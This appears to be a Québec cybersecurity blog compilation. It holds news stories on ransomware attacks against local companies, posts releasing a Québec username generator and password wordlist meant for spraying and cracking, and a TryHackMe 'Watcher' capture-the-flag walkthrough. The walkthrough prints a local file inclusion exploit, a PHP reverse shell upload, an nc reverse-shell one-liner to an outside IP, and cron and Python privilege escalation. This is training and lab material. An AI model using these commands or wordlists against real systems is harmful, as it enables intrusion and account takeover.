We could also stop using the fax machine, but that’s a topic for another day.

The day after Québec’s Fête nationale, a criminal group claimed an attack against Lareau courtiers d’assurances. Security experts worry that this attack could be used to target other Québec companies.

On June 25, the Conti ransomware group publicized attacks against several new victims. Among them was the company headquartered in Napierville.

The criminals published a list of devices belonging to the company as well as a list of encrypted passwords. These use the standard encryption of the Windows operating system. According to our analysis, some of them were fairly easy to crack. For now, no personal data has been released on the ransom group’s website.

Once they have access to a network, these groups usually deploy ransomware. This is a program that encrypts data and renders it unusable. A key is needed to recover it. To increase pressure on their victims, they usually threaten to publicly release the information they have stolen.

Lareau has 8 branches in Québec and a team of more than 180 professionals. According to its website, Lareau offers cyber-risk protection.

Targeting a company offering this type of coverage is “the perfect recipe,” according to Steve Waterhouse, a former cyber defence officer in the Canadian Armed Forces. According to the security expert, this attack could help the attackers target their next victims. It allows them to adjust their ransom demands based on the victims’ ability to pay. “It’s brilliant. It lets them do a roaring trade,” he adds.

Lareau did not respond to our requests for information. For Mr. Waterhouse, companies are very reluctant to talk about these incidents because they fear for their reputation. “Security through obscurity should no longer have a place,” he laments.

Photo credit: begemot_dn - CC BY-NC license

A ransomware group has targeted petroleum products distributor Filgo-Sonic. The company shut down some of its IT systems, but deliveries to customers continued.

Ms. Véronique Simard, a spokesperson for the organization, replied that the company “confirms that in recent weeks it experienced a shutdown of its IT systems that affected certain operations. While the Group works to restore normal operations, customer service continues without interruption.”

The company did not give details on which services were affected, but specified that “these are mainly central services such as billing.” Shutting down these systems “was necessary as a protective and remediation measure following a cyberattack carried out by an attacker outside the organization,” Ms. Simard explained. With the investigation still ongoing, the company cannot provide further details, but says the systems are being restored.

The criminals published documents they claim to have stolen from the company. These documents are dated June 3 and June 27. The spokesperson says the company “is aware that the attackers published files. Our IT team and our cybersecurity experts retrieved these files and analyzed them.” They are currently in the process of notifying the people affected by this security incident.

Groupe Filgo-Sonic is a Québec company headquartered in Sainte-Marie, in the Beauce region. It owns the Miraco and Sonic gas station banners. According to its website, the Group is “present in Québec’s main regions.” It operates in the distribution of petroleum products to residential and commercial customers, maintains a network of gas stations and convenience stores, and distributes Shell Lubricants.

“Vice Society,” the group that claimed this attack, appeared on the ransomware scene in June 2021. Despite being new, it was one of the most active groups in June. This criminal group announced about ten security breaches during its first month of operation. Schools and hospitals are among the organizations listed on its site.

The software used to encrypt the files is reportedly a variant of the “HelloKitty” ransomware, according to Michael Gillespie, a researcher specializing in malware. The “HelloKitty” group recently made headlines because it had been blamed for the attack against video game company “CD Projekt,” creator of the title “Cyberpunk 2077.”

This morning, Ukrainian police arrested six individuals linked to the Cl0p ransomware group. Ukrainian authorities issued a press release on Wednesday, June 16, to announce the operation. It was coordinated by Interpol and conducted in collaboration with officers from the United States and South Korea.

Authorities announced that they carried out 21 searches of homes and cars belonging to the suspects in the Kyiv region. Computer equipment, cars and nearly 5 million hryvnias (about CA$225,000) were seized.

At this time, we do not know whether these are key members of the Cl0p group or affiliates. Organizations like Cl0p, which offer ransomware as a service, recruit affiliates. It is these affiliates who infiltrate vulnerable computer networks and deploy the malware provided by the group.

Groups like Cl0p provide the software used to encrypt the victim’s data, the website used to publish stolen documents and a platform to negotiate the ransom. Profits are then shared between the affiliates and the service provider.

This morning, the group’s leak site, hosted on the Tor network, was still accessible.

The Cl0p group was behind the recent attacks against Bombardier, as well as against the Regional Municipality of Durham in Ontario and the Boutin transport company here in Québec. It is too early to know whether the people arrested today are responsible for these attacks, or whether they belong to another group of affiliates.

This article was corrected on 18/06 to fix the amount seized in Canadian dollars.

The trivialization of risks in a column on the cost of loyalty programs published in La Presse drew a reaction from members of the cybersecurity community. “I thought it was a really great article, until I got to that section,” Alexis Dorais-Joncas, head of the R & D centre at ESET Montréal, said in an interview. “I learned a lot,” he adds. However, he finds it unfortunate that the opportunity wasn’t taken to remind consumers that if “you agree to hand over your personal data, do it knowingly.”

For this head of a team of cybersecurity researchers, it is wrong to say the risk is the same because this data is already held by another entity, such as the bank. “The risks add up,” he explains. “The more parties that hold our personal data, the greater the chances that one of them will suffer a leak.”

It’s not just data that’s at risk

Since these programs offer rewards, Mr. Dorais-Joncas adds that the theft of accounts does not only result in lost data, but can involve a monetary loss. The loss associated with the theft of one account may seem minimal for a user, but if a fraudster gets hold of a large number of them, it adds up to much larger sums.

The third impact he noted comes from the fact that some loyalty programs are tied to a payment method. Mr. Dorais-Joncas in fact investigated a fraud case involving McDonald’s mobile app in 2019. A journalist reported being defrauded of $2,000 when someone took over his loyalty account. According to the cybersecurity specialist, “security was completely deficient. [ … ] You could test thousands of username and password combinations in a few minutes.” Moreover, once a valid account was stolen, the app had no anti-fraud measures, and several transactions had been recorded at the same time in several places across the province without this being flagged.

To sign up or not?

For Alexis Dorais-Joncas, you have to ask yourself whether you get a real benefit from the program. He suggests asking yourself, “Am I willing to hand over my personal data to this company in exchange for what it offers me?” Second, he suggests reading the terms of use and privacy policies. He admits this is not always easy, because these policies are not easy to understand, but “they say a lot about how our data will be used.”

Ideally, we should minimize the scope and number of programs we join. It is therefore better to sign up only for programs that genuinely interest us.

Once you decide to join a loyalty program, he suggests never reusing passwords. “We tend to think we don’t need as much security as for our bank account,” but once you get into the habit of using a password manager, “it’s no harder to create a good, unique password for all your accounts.”

Loyalty programs offer benefits, but they are not without risk. It is therefore important that the decision to hand over your personal data not be taken lightly.

Bill 64 is meant to regulate the collection, protection and use of this personal data. Its adoption has been delayed by the government’s recent announcement that it is suspending its study of the bill.

photo credit: Four Bricks Tall - CC BY-NC-ND license

What

Over various penetration tests, I always found that there was no equivalent of a list of possible usernames in French. Following Hackfest’s latest blog post publishing a wordlist adapted to Québec, I decided to publish my own script that generates common usernames adapted to Québec.

Also, many passwords are still based on first and last names (of children, parents, wives, etc.). These are generally French names that are not (or barely) part of standard wordlists. Using sites that publish information on the most popular names, such as prenomsquebec.ca, and a Wikipedia article, it is possible to create many combinations.

So I present the Github repository QC_Username_Generator.

Features

• Generate popular usernames based on Québec names
• Adapt the name format depending on the test or application
• Optionally add a domain name in case the username requires an email address
• Generate commonly used passwords (combinations of names and years)

This script generates several username variations based on the most popular last names (top 1000) and first names in Québec since 1980.

It can also add a variation with a domain name to generate potential email addresses (e.g. jeantremblay@example.com). The usernames can then easily be used for password spraying or simply for enumeration. In addition, it can generate passwords that include the name and the year (e.g. Tremblay2020!, jean2021, ..). Sorry if that’s your password!

They can then be used on their own for password cracking, in combination with other lists such as w0lfd3n, or added to Hashcat rules.

Use cases

• For password spraying
• To perform user enumeration
• To generate a wordlist of possible passwords during password cracking

Usage examples

• The script is based on Python3 and requires no external modules.
• The name lists are stored in the source folder.

The various possible arguments:

[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 

To generate a list containing email addresses to a text file:

python3 main.py -u -d -o fichier 

To generate a list of usernames to a text file:

python3 main.py -u -o fichier 

To generate a list of potential passwords to a text file:

python3 main.py -w -o fichier 

Final word

As always, we recommend using a password manager such as BitWarden or KeePassXC to generate complex passwords and store them securely.

You can contact me on the Hackfest Discord: @redshell

Photo credit: christiaancolen - CC BY license

Recently, I was testing my modest “pentest” skills on my personal WI-FI network. Following the classic methodology, I performed a deauthentication attack on a device connected to my “access point”, captured the WPA2 key exchange, and tried to “crack” the password using a “wordlist”. For the sake of the exercise, the password used was alarmingly simple. Despite that, I was unable to find it.

That’s when reality hit me: the usual “wordlists” available online contain little or no French and/or Québec vocabulary, since most of them come from American and international breaches. During discussions on some Discord servers (Hackfest), I noticed that very few French-language references were indeed available and that there was a desire to create such a password list. Our group, w0lfd3n, a team of professionals and enthusiasts who are mostly from Québec, came together around this idea. We seized the opportunity to found an official group in order to get involved in the cybersec community. This project was a kind of catalyst for the group and an extra motivation to explore methods and skills that were, for most of us, still new, i.e. GitHub. We hope the project will make a positive contribution to the Québec cybersec community.

We are pleased to present the public repository w0lfd3n’s quebec_wordlist. This list is extracted, for the most part, from passwords found in several public data breaches, all related to Québec domains (public institutions, private sector, etc.). It has several potential applications, i.e. a “wordlist” for John The Ripper and Hashcat, or simply a list of passwords to avoid. You can combine good password discipline with this list to avoid using weak and compromised passwords.

We also recommend using a password manager such as BitWarden or KeePassXC to avoid reusing the same password multiple times. We plan to make constant changes and additions to this list, and we are of course open to any external contributions that meet our criteria.

You can contact us at hello@w0lfd3n.org .

Photo credit: worldsdirection - CC BY license

It is never pleasant to learn that our sensitive information has been published on the Web. Last January, a criminal group released confidential documents it claims to have stolen from the company Ventilabec. To confirm the authenticity of this information, we contacted people who no longer work for the company, but who unfortunately appear in this data leak.

The ransomware group that claimed responsibility for this cyberattack published 1,140 documents. They include background check authorization forms, job site “onboarding sheets” listing allergies and medication taken, and competency cards issued by the Commission de la construction du Québec. The cards dating from 2010 and 2011 display the worker’s social insurance number. According to a counter displayed on the web page, it has been viewed more than 25,000 times.

Sabrina DesOrmiers worked for Ventilabec until 2012. Afterwards, she “kept doing consulting for them for about two years.” She confirms having signed a criminal background check authorization for a project at the Casino de Montréal. Before our call, no one had notified her of this data breach.

Reached by phone, Caroline (not her real name) confirms that she also worked for this company. She has not been employed there for several years. She asked to remain anonymous.

We informed her that a form was on a website accessible on the dark web. “No one notified me,” she tells us. She confirms having signed this authorization. The document contains information such as her date of birth, her social insurance number and her driver’s licence number.

Ventilabec, based in Laval, specializes in installing and maintaining ventilation, refrigeration and heating systems. According to its website, it has more than 10,000 completed projects to its credit in the industrial, commercial, institutional and pharmaceutical sectors.

Reached by phone, president Éric Ladouceur preferred not to comment on the matter.

Secured or destroyed

According to Steve Waterhouse, a former security officer at National Defence, when archiving this kind of information, it is important to be aware of how sensitive it is.

The best practice for keeping data that is not actively needed is “to never put it online.” He advises storing sensitive data in encrypted form. “There are several programs and tools to encrypt files.” Documents “at rest” should be on an external hard drive, encrypted, and stored in a safe place.

The cybersecurity expert points out that a company should have a data retention policy and destroy data as soon as it is no longer useful. To destroy it securely, he recommends encrypting it before deleting it. This will make it harder to recover.

Reporting not mandatory, but recommended

The Commission d’accès à l’information du Québec (CAI, Quebec’s access to information commission) confirms that the law does not require companies to destroy information. Its spokesperson reminds us that keeping documents that are no longer needed increases the impact when a security incident occurs.

“For now, in Quebec, there is no legal obligation to report security incidents, either to the Commission or to the people concerned,” the CAI told us. Reports are made on a voluntary basis.

“However, we strongly recommend that companies take this step.” According to the Commission, “the people concerned should be notified without delay if the loss or theft of personal information presents a risk of harm to them. This can allow them to take the appropriate measures to protect their personal information.”

The CAI explains that under section 27 of the Act respecting the protection of personal information in the private sector, every person has the “right to access personal information concerning them that is held by a company.” A written request must be submitted.

Article 40 of the Civil Code of Québec also allows a person to request the deletion of personal information that is “outdated or not justified by the purpose of the file.”

In both cases, it is possible to contact the CAI to learn more about the procedures and restrictions detailed in the law.

How to protect yourself from identity theft

According to Patrick Mathieu, co-founder of Hackfest Communication — an annual event and cybersecurity community — in cases like this one, people can protect themselves:

• by avoiding putting personal information on social media,
• by using a password manager and two-factor authentication,
• by subscribing to an alert service such as those offered by Equifax or TransUnion,
• by regularly checking their bank accounts and credit card statements to detect suspicious transactions.

photo credit: spDuchamp - CC BY license

Transport company Boutin was targeted by ransomware. The company shut down all of its IT systems, but has managed to continue operating.

The security breach was announced on a ransomware group’s site. We contacted the company by phone on April 28, and its president, Mr. Bernard Boutin, confirmed that they had indeed been targeted by a cyberattack. He asked us to send him our questions in writing.

In an email, the entrepreneur explained that a ransom note was discovered and that they then called on an IT security specialist.

The customer and employee portals, accessible from their website, are not responding. To avoid taking any unnecessary risks, “we shut down access to all of our systems and workstations.” Staff must rebuild a number of servers and “restart certain applications from scratch. Operations work is being done partly manually.”

Mr. Boutin says their operations are continuing. “With our team, we were able to make sure that service was not too disrupted.”

The situation is currently under investigation. The company cannot say with certainty whether personal data of customers or employees was stolen. But “as a precaution, the people concerned have started to be informed.”

Boutin is a company founded in 1945 and headquartered in Plessisville, in the Centre-du-Québec region. According to its website, it has more than 390 employees and a fleet of over 630 units.

cover photo credit: martin - CC BY-NC-ND license

Since the threat of leaking stolen documents is not enough in their eyes, some ransomware groups have added denial of service to their arsenal. A Québec City company just learned this the hard way. The Avaddon group recently claimed an attack against this software development company.

It is now customary for attackers to apply what is known as “double extortion.” With this method, the criminals first exfiltrate the data they managed to access. Then they encrypt their victim’s systems. The files are rendered unusable unless the victim pays to obtain the key needed to decrypt them.

Companies with recent and reliable backups are able to recover more quickly from this kind of attack. To increase pressure on victims and force them to pay, the Maze group was the first to threaten to publicly release stolen data. Shortly afterwards, several groups followed suit.

The news site bleepingcomputer.com reported in October 2020 that the SunCrypt and RagnarLocker groups had started adding distributed denial of service (DDoS) to their arsenal.

DDoS is a form of attack where the victim’s server is bombarded with a large number of requests. It is called distributed because the requests come from a multitude of different sources. Unable to handle such a volume of bogus data, the server becomes inaccessible.

The Avaddon group has just joined the list of groups using this method to force their victims to negotiate. On their site, one can see a list of companies affected by a denial of service.

On the morning of April 27, the Québec City company’s website was indeed inaccessible. When contacted, the company preferred not to comment on the events. The entrepreneur, who asked us to keep him anonymous, told us that “there is no clear guide on the role of IT security as an SME is being built” and that although investing in security may seem like a significant expense, especially at the beginning, “a risk assessment should lead to the conclusion that such expenses are smaller than the potential damage.”

It remains to be seen whether other groups will now start practising this “triple extortion.”

cover photo credit: Ben Elwood - CC BY-NC license

The Regional Municipality of Durham in Ontario was the target of a cyber criminal group. The systems have been secured, but the extent of the data breach is still unknown.

We contacted the administration of the municipality after a ransomware gang announced the attack on their leak site hosted on the dark web. The Corporate Communications service confirmed that they “recently became aware of a cybersecurity incident related to software provided by a third-party service provider.” According to the statement we received, the incident did not impact the Region’s core IT systems.

The Regional Municipality says that they have contacted the relevant authorities. Their experts are investigating the matter to “determine the information that may be involved and the impact of this incident.” The Municipality states that the vulnerability has been patched and that their systems have been secured.

The ransomware gang published screenshots of confidential information on their site. The spokesperson for Durham did not confirm if these were authentic. They show spreadsheets with names and phone numbers and, more troubling, ambulance reports.

The group involved in this cyber attack was responsible for alleged data breaches involving universities in the United States in the last months. They have been very active in exploiting the Accelion FTA (File Transfer Application) vulnerability. This 20-year-old technology is used to share confidential documents in a secure manner. A vulnerability was discovered at the end of December 2020. Three other vulnerabilities were found in the first months of 2021. These vulnerabilities have been patched, but many organizations have not updated their services, leaving the door open for threat actors. The Regional Municipality of Durham did not answer our question regarding the use of Accelion FTA.

photo credit: Richard Patterson - CC license

Faxinating Solutions, a Québec company specializing in electronic data interchange (EDI), was targeted by a cybercriminal group. On March 16, the Conti group published confidential documents, which it claims to have stolen from the company, on its site hosted on the “dark web.”

Reached by phone, owner and CEO Steve Hatajlo told us that he “cannot deny that an incident took place.” The company, along with the relevant authorities, is “monitoring the situation closely.” According to a report published on the FreightWaves website, the breach was discovered on March 3 and the entry point was a phishing email.

Faxinating Solutions provides software tools that allow businesses to transfer data from one format to another. EDI thus makes it possible to share electronically information that was once available only on paper, such as purchase orders or invoices. Its clients include big names in transportation and retail, such as Metro, Walmart, Colabor and others.

The company’s website states that it offers a web portal for suppliers of the Ministère de la Santé et des Services sociaux (MSSS, Québec’s health and social services ministry). This service is reportedly not offered directly, but through a partner. In response to our request for information, an MSSS spokesperson said that “this supplier has no contracts or business relationships with the Ministère de la Santé et des Services sociaux and no cyberattack has been recorded.” Following a request for clarification, the MSSS public affairs department told us that “some institutions in the health and social services network have suppliers that subcontract with this company. The company holds no information belonging to the MSSS or its institutions. However, we continue to monitor the situation.” Mr. Hatajlo assured us that Faxinating Solutions does not process any medical data or confidential patient information.

Ransomware attacks are growing, and this incident reminds us that companies offering IT solutions are prime targets for criminal groups.

This article was updated after its initial publication to include the clarification received from the MSSS.

The period for submitting comments on the botnet blocking plan of the CRTC (Canadian Radio-television and Telecommunications Commission) is over. Reading the interventions, it is clear that Internet service providers (ISPs) do not all see the situation the same way. Some even go so far as to question the CRTC’s legitimacy in implementing such a program.

Mandatory blocking, no transparency required

In a document signed by Mr. Dennis Béland, Vice-President, Regulatory Affairs, at Vidéotron, we read that “it is possible for the Commission to frame network-level blocking based on a [sic] series of simple and uniform rules.”

Vidéotron advocates a domain blocking approach. Under this approach, an entity yet to be determined would have to maintain a list of malicious domain names to block. According to Mr. Béland, this method should be favoured “because it is already deployed in our network, which will allow the framework to be deployed at lower cost and implemented quickly. This technique strikes a balance between effectiveness and ease of deployment and will not result in additional costs for Internet service subscribers.”

The Québecor Média subsidiary proposes universal blocking, with no opt-out. In its view, it is not desirable for such a system to be optional. Vidéotron considers that, since it is not optional, “transparency measures are not required.”

ISPs against blocking

Vidéotron’s main competitor in Quebec takes a diametrically opposed position. In its document, Bell Canada challenges the CRTC’s legitimacy to implement such a program. It considers that a centralized framework imposed by the Commission is “in opposition to the cooperative and collaborative approach adopted by the government”([^1]:Translated from English by the author) on cybersecurity. Bell refers to the stakeholders identified in the National Cyber Security Strategy, published in 2010, and seems to take malicious pleasure in pointing out that the CRTC is not among them.

Bell takes a dim view of having a blocking program overseen by an independent entity. “The time between the detection of a malicious botnet and the application of mitigation solutions can sometimes be very short.” The need to notify and obtain approval from an external entity would hinder its ability to respond effectively to threats.

Bell opposes the possibility of an opt-out system for the blocking program, but for very different reasons than Vidéotron. Currently, a domain deemed dangerous is blocked without knowing the identity of the person requesting it. Giving customers a choice would therefore involve collecting more personal data than is currently required.

Telus, in its report to the CRTC, considers that blocking botnets does nothing to address the root of the problem. It is a reactive solution applied once devices have already been infected. The company believes the government should put more effort into establishing and enforcing security standards for manufacturers of Internet-connected devices. “Adopting a proactive approach will have a more significant impact on reducing botnet attacks than the proposed network-level blocking.”

Cogeco clearly positions itself in favour of net neutrality. The Montreal-based company is concerned that government-imposed additional blocking rules could erode net neutrality and have the potential to weaken privacy protection.

On the independents’ side

Xplornet expresses its reservations about the CRTC’s plan. For the company, which specializes in rural coverage, blocking will not be effective, because it only tackles the problem once the damage is done. It therefore advocates a prevention approach to protect the public. It is concerned that such a framework would give a false sense of security.

Teksaavy, one of the country’s main independent ISPs, also opposes the plan. The company, which has been present in Quebec since 2020, considers that network-level blocking violates the basic principles of a free and open Internet. It believes such a framework would undermine net neutrality without really increasing Internet security.

Several other parties also filed submissions. The CRTC now has the task of analyzing these interventions. The task will not be easy, as blocking is far from unanimous among the Internet service providers who will be responsible for applying this measure if the Commission decides to adopt it.

photo credit: Martin Abegglen - CC license

• Room: Watcher
• Difficulty: Medium
• URL: https://tryhackme.com/room/watcher

Scanning

The first thing to do when attacking a box is to scan it. I usually do this in three steps:

1. An aggressive scan on the first 10 000 ports (nmap -A -oN nmap.txt target)
2. A vulnerability scan on the first 10 000 ports (nmap -script vuln -oN nmapVuln.txt target)
3. A SYN scan on all the ports (sudo nmap -sS -p- -oN nmapFull.txt target)

Here are the results of the first scan:

# Nmap 7.91 scan initiated Sun Mar 14 09:11:24 2021 as: nmap -A -oN nmap.txt target
Nmap scan report for target (10.10.208.34)
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds

The vulnerabilities and full scan did not bring anything more of interest.

The first opened port is for FTP. Anonymous login does not seems to be allowed, but lets try it anyway.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.

No luck here, so lets look at the web site on port 80.

Web Site

Navigating to http://target/ gives us a site about cork placemats. A quick look at the request in Burp does not show anything interesting.

However, there is a robots.txt file that contains two entries.

Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

Navigating to http://target/flag_1.txt give us our first flag. http://target/secret_file_do_not_read.txt is forbidden.

Now I start scanning site for hidden pages. I use GoBuster to scan web sites. I usually use two different lists to do so. I should probably build one list with only the unique values out of those two.

gobuster dir -e -u http://target/ -t30 -w /usr/share/dirb/wordlists/common.txt  | tee gobuster.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://target/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/03/14 13:09:21 Starting gobuster in directory enumeration mode
===============================================================
http://target/.hta                 (Status: 403) [Size: 271]
http://target/.htaccess            (Status: 403) [Size: 271]
http://target/.htpasswd            (Status: 403) [Size: 271]
http://target/css                  (Status: 301) [Size: 298] [--> http://target/css/]
http://target/images               (Status: 301) [Size: 301] [--> http://target/images/]
http://target/index.php            (Status: 200) [Size: 4826]
http://target/robots.txt           (Status: 200) [Size: 69]
http://target/server-status        (Status: 403) [Size: 271]
===============================================================
2021/03/14 13:10:00 Finished
===============================================================

Nothing very interesting here.

While GoBuster was running, I started looking around the site. When I clicked on one of the post, it pointed to this url: http://target/post.php?post=striped.php . This looked like it could be used for a Local File Inclusion (LFI) attack.

So I used it to try reading the secret file that I could not access earlier. I loaded http://target/post.php?post=secret_file_do_not_read.txt and it worked. The file contains the following message:

Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD

We now have the credentials to the FTP server. It also hints that we will be able to write files in the FTP server, and where they will be saved.

First, lets make sure that the code is executed when included. I tried to include index.php to see if it would output the content, or execute it.

Load http://target/post.php?post=index.php, you will see the the index page loaded inside the post page.

Then, I tried to get the post.php source code to see if there where any filtering, or if I could use it to load any file.

Loading http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php gave me the PHP source code encoded in base64. I decoded it, and saw the there is no filtering. You can load any file from the server.

<div class="col-8">
  <?php include $_GET["post"]; ?>
</div>

Getting a Shell

Now I knew I could use the FTP server to upload a file, then execute it on the server through the LFI vulnerability.

ftp target
Connected to target.
220 (vsFTPd 3.0.3)
Name (target:ehogue): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 .
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
-rw-r--r--    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt
local: flag_2.txt remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
226 Transfer complete.
21 bytes received in 0.00 secs (84.0484 kB/s)

We found the second flag in the FTP server. We also see that the files folder is writable, so we can push our reverse shell there.

I use the PHP reverse shell that is available in Kali at /usr/share/webshells/php/php-reverse-shell.php.

ftp> cd files 
250 Directory successfully changed.
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (5.8002 MB/s)

According to the message found earlier, that file should now be at /home/ftpuser/ftp/filesphp-reverse-shell.php.

I started a Netcat listener in my Kali VM (nc -lvnp 4444). Then loaded http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php in a browser. I got a connection on my listener.

I stabilized my shell with the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

# Hit Ctrl-z to go background the shell
stty raw -echo;fg

From there, I found a third flag in the web site files.

www-data@watcher:/$ whoami
www-data
www-data@watcher:/$ ls /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/$ ls /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG{SOME FLAG}

Escalate to Toby

Now that we have a shell, we need to try to escalate our privileges.

First thing to do is check is the current user can run sudo. www-data should not, but it’s a good idea to check anyway.

sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

www-data is allowed to run any command as toby.

sudo -utoby bash -p
toby@watcher:/$ whoami
toby
toby@watcher:/$ ls -l /home/toby/
total 12
-rw------- 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 jobs
-rw-r--r-- 1 mat  mat    89 Dec 12 15:25 note.txt

We have our 4th flag.

Escalate to Mat

We have to find a way to elevate our privileges again. sudo -l require a password, so we need to find something else.

There is a note.txt file in the home folder, lets look at it.

cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

It looks like there is a cron job running, probably as Mat that we might be able to use. There is a jobs folder, and it contains a sh file.

ls -l jobs/
total 4
-rwxr-xr-x 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~$ cat jobs/cow.sh 
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

This might be the cron from the message. And we can write to it. So I modified to add a reverse shell connection, started another Netcat listener and waited for a connection.

Add this to jobs/cow.sh

mkfifo /tmp/kirxhbg; nc 10.13.3.36 4445 0</tmp/kirxhbg | /bin/sh >/tmp/kirxhbg 2>&1; rm /tmp/kirxhbg

The next time the cron runs, you will get a new connection.

nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
whoami
mat
ls /home/mat
cow.jpg
flag_5.txt
note.txt
scripts

That flag #5.

Escalate to Will

That shell was pretty unstable so I copied my ssh public key to the server and reconnected through ssh.

mkdir .ssh
echo "My Public Key" > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys

Once connected, there is another note.txt file in the home folder.

cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

Sure enough, we can run a python script as will without a password.

sudo -l
Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

We are not allowed to modify the script, but lets see what it does.

mat@watcher:~$ ls -l scripts/will_script.py
-rw-r--r-- 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~$ cat scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")
        exit()

os.system(cmd)

The script reads a command from the command line, then sends it to get_command and execute it if it’s one of the three allowed commands.

The interesting part is get_command, it’s imported from cmd.py which is in the same folder as the script.

mat@watcher:~$ ls -la scripts/cmd.py 
-rw-r--r-- 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~$ cat scripts/cmd.py
def get_command(num):
        if(num == "1"):
                return "ls -lah"
        if(num == "2"):
                return "id"
        if(num == "3"):
                return "cat /etc/passwd"

We can write to this file. So we can modify it to start a new bash shell as Will. We need to add an import of os. Then add the following at the beginning of the get_command function.

os.system('/bin/bash -p')

After that, we can run the python script as will and get a shell.

mat@watcher:~$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~$ whoami
will
will@watcher:~$ ls -l /home/will/
total 4
-rw------- 1 will will 41 Dec  3 01:58 flag_6.txt

We have flag 6.

Escalate to root

For this step, there are no note.txt file to give us a hint. Running sudo -l requires a password, so no luck there either.

I checked for the groups of the user, and they are part of the adm group. That looked interesting.

I searched for files that belongs to that group. And found a backups folder with one file in it: key.b64.

I decoded the file, and it contained a ssh private key.

cat /opt/backups/key.b64 | base64 -d
-----BEGIN RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA==
-----END RSA PRIVATE KEY-----

I took that key, copied it in a file on my machine and change its permissions to 600. Then used it to connect back to the server as root.

ssh root@target -i root_id_rsa 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)

root@watcher:~# ls -l 
total 4
-rw-r--r-- 1 root root 31 Dec  3 02:26 flag_7.txt

That was our last flag.

This is a fun box to root. With many steps. I’m not sure it should be classified as medium difficulty. All the steps where pretty easy to do. Especially with the note.txt files giving huge hints.

Text also published on : https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/

